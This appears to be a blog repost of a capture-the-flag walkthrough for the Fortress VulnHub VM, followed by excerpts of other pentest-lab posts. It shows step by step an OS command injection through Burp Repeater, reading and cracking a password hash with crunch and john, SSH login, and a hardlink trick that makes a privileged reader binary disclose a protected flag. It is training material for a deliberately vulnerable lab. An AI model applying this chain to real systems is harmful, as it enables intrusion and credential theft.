Chuyển đến nội dung chính

Hack the Fortress VM (CTF Challenge)

Previously you have breach many vulnhub CTF, today we will try to breach FORTRESS VULNHUB CTF.
Download it from here. Start Kali Linux and follow  these steps.
 Open terminal in Kali Linux and run this command.
Netdiscover
This command will scan your network and give you victim IP: 192.168.0.105
Now scan particular IP with aggressive scan using Nmap tool as given in image below.
Nmap –p- -A 192.168.0.105
Here it illustrate the open ports and running services on it. As shown port 22, 80, 443 are open to penetrate more inside it

Open IP in browser by typing 192.168.0.105 in URL and you will get such kind of web page in brower’s window.

After making lots of efforts I decided to use dirbuster to seek inside the directory of target.  Type dirbuster on terminal and automatically OWASP dirbuster window gets open. Here browse your dictionary from /usr/share/dirbuster/wordlists and choose your appropriate wordlist as I select medium.txt, do not forget to address target URL in top of text field as: http//192.168.0.105 and finally hit start button.

Luckly!!! I found something which is scanner.php file

Now visit this page through browser and make it open by running
URL:http//192.168.0.105/scanner.php and have a look over this colorful page. It is asking to scan the target IP which is looking very similar like OS command injection.  Though I tried to breach it through some kind of command injection but hard luck all seems waste here.

So when I trigger the localhost IP we got result of Nmap scan which you can perceive from below image.

Now turn up burp suite and don’t forget to set manual proxy of your browser. Click to proxy tab and hit  intercept is on button to capture the request of target. When this is done you will get fetched data under intercept window.
Now make right click on its window and such kind of action list will put on view further click to send to repeater.

Means now I can try to execute those commands through repeater which got fail when I trigger them in web page.
Look over screenshot here you will find two panel left and right for request and response respectively.
Type ls as request and click on go tab. This will generate response to request you made.
Request: ls
Response: index.html
      k1ngd0m_k3yz
      logo.png
      s1kr3t
      scanner.php
      styles.css
Awesome!!!  It shows list of some directories.

Now again make request using command: Ls k1ngd0m_k3yz and response generated by this command dump two sub folders as master and passwd. Now go through them one by one.
Request: Ls k1ngd0m_k3yz
Response: master and passwd


Now repeat the process till last step of making request and getting response through repeater.
Request: cat k1ngd0m_k3yz/master        
Response:craven:$6$qAgPM2TEordSoFnH$4uPUAhB.9rORkWExA8jI0Sbwn0Bj50KAK0tJ4rkrUrIkP6v.gE/6Fw9/yn1Ejl2TedyN5ziUz8N0unsHocuks.:1002:1002::0:0:User &:/home/craven:/bin/sh

Save the highlighted response in leafpad as hash.txt on desktop.

Request: cat k1ngd0m_k3yz/passwd
Response: craven:*:1002:1002:User &:/home/craven:/bin/sh

Request: ls s1kr3t
Response: flag.txt

Request: cat s1kr3t/flag.txt
Response: FLAG{n0_one_br3aches_teh_f0rt}
Nice!!!  We had catch our very first FLAG.

Now find other flags, by using the find command.
Request: find / -name flag.txt
Response: /usr/local/www/apache24/data/s1kr3t/flag.txt
/usr/home/vulnhub/flag.txt
/usr/home/craven/flag.txt



Request: ls -lah /usr/home/craven
Response: drwxr-xr-x  2 craven  craven   512B Nov  9 19:58 .
drwxr-xr-x  4 root    wheel    512B Nov  5 01:59 ..
-rw-r–r–  1 craven  craven   1.0K Nov  5 01:59 .cshrc
-rw——-  1 craven  craven     5B Nov  7 20:24 .gdb_history
-rw-r–r–  1 craven  craven    60B Nov  7 20:36 .gdbinit
-rw-r–r–  1 craven  craven   254B Nov  5 01:59 .login
-rw-r–r–  1 craven  craven   163B Nov  5 01:59 .login_conf
-rw——-  1 craven  craven   379B Nov  5 01:59 .mail_aliases
-rw-r–r–  1 craven  craven   336B Nov  5 01:59 .mailrc
-rw-r–r–  1 craven  craven   802B Nov  5 01:59 .profile
-rw——-  1 craven  craven   281B Nov  5 01:59 .rhosts
-rw-r–r–  1 craven  craven   978B Nov  5 01:59 .shrc
-r——–  1 craven  craven    46B Nov  6 01:30 flag.txt
-rw-r–r–  1 craven  craven   119B Nov  5 02:23 hint.txt
-rw-r–r–  1 craven  craven    77B Nov  5 02:20 reminders.txt


Request: cat /usr/home/craven/reminders.txt
Response: To buy:
* skim milk
* organic free-run eggs
* dog bone for qwerty
* sriracha

Request: cat /usr/home/craven/hint.txt
Response: Keep forgetting my password, so I made myself a hint. Password is three digits followed by my pet’s name and a symbol.

Crunch is a wordlist generator where you can specify a standard character set or a character set you specify. Crunch can generate all possible combinations and permutations.
Run crunch command interminal as crunch 10 10 -t %%%qwerty^ > pass.txt

Now crack the password using by typing following command in terminal
Cd Desktop
 john -wordlist=pass.txt hash.txt
 931qwerty? is password for craven as you can perceive from screenshot. 

If you remember the result from nmap which shows port 22 is open now try to connect the target through SSH using above credential.
Ssh craven@192.168.0.105
$ pwd
/usr/home/craven
$ cat flag.txt
FLAG{w0uld_u_lik3_som3_b33r_with_ur_r3d_PiLL}
Wonderful!!!  We have caught  second FLAG  also.

$ cd /home/vulnhub
$ pwd
/home/vulnhub
$ ls
flag.txt  reader
$ cat flag.txt
cat: flag.txt: Permission denied
$ ./reader
./reader [file to read]
$ ./reader flag.txt
Here it not providing access to read this file.

 Now move inside the tmp folder to read the flag.txt
$ cd /tmp
$ ls
$ ln /home/vulnhub/flag.txt raj
$ cd /home/vulnhub
$ ./reader /tmp/raj
FLAG{its_A_ph0t0_ph1ni5h}
Great!!!  We meet the goal by capture all three flags and this last FLAG is third.
ln command is basically a linux command which is used to create a link to file TARGET with the name LINKNAME. Read more visit http://www.computerhope.com/unix/uln.htm

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets.

Bài đăng phổ biến từ blog này

Pentest lab - Metasploitable 2

Today I will walk through different ways of exploiting Metasploitable 2, the newer release of Rapid7’s popular vulnerable machine. First, what is Metasploitable? Metasploitable is an intentionally vulnerable Linux virtual machine. This VM can be used to conduct security training, test security tools, and practice common penetration testing techniques. In my lab environment, the IP of the attacker machine is 192.168.127.159, and the victim machine is 192.168.127.154. Since this is a test lab, I won’t be concerned about stealth. Instead, I will try to get the most information out of the scans. Let’s start by port scanning the target with nmap. I did a full port, aggresive scan against the target. Here are the results. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 ...

Metasploitable 2 vulnerability assessment

A vulnerability assessment is a crucial part in every penetration test and is the process of identifying and assessing vulnerabilities on a target system. In this part of the tutorial we will be assessing the vulnerabilities available on the network side of the Metasploitable 2 virtual machine. We will be assessing the web applications on the Metasploitable 2 machine in a later tutorial. In the previous Metasploit enumeration and fingerprinting tutorial we’ve learned that the Metasploitable 2 machine contains a lot of vulnerabilities. We have collected valuable information about the target system which we will be using to find known vulnerabilities both on- and offline. Exploitation of these vulnerabilities will be demonstrated in the next exploitation tutorial. In this tutorial we will be looking at a few different ways to perform vulnerability analysis. We will be manually searching for exploits, use scanning tools like Nmap with scripts and we will be...

CEH v9 (CEHVIETNAM.COM) - Hacking Metasploitable Lab

CEH v9 : Hacking Metasploitable VM In this guide, I will demonstrate how to root a Metasploitable 2 virtual machine. Metasploitable is an intentionally vulnerable Ubuntu machine. I’ll explore just a few of the many ways Metasploitable can be attacked, from vulnerabilities in common services to little known exploits and web vulnerabilities. I’ve set up Kali Linux and Metasploitable VMs in VirtualBox on the same network (bridged mode). Kali – 192.168.56.101 Metasploitable – 192.168.56.102 - Hãy thay IP của bạn cho thích hợp Contents   1 Footprinting 1.1 Ping 1.2 Traceroute 2 Scanning 2.1 Port Scanning 2.2 OS Fingerprinting 2.2.1 nmap 2.2.2 xprobe2 3 Enumeration 3.1 FTP (TCP 21) Enumeration 3.2 Telnet (TCP 53) Enumeration 3.3 SMTP (TCP 25) Enumeration 3.4 VNC (TCP 5900) Enumeration 3.5 X11 (TCP 6000) Enumeration 3.6 RLogin (TCP 513) Enumeration 3.7 IRC (TCP 6667) Enumeration 4 Exploitation 4.1 FTP Exploit 4.2 VNC Password Cracking 4.3 IRC E...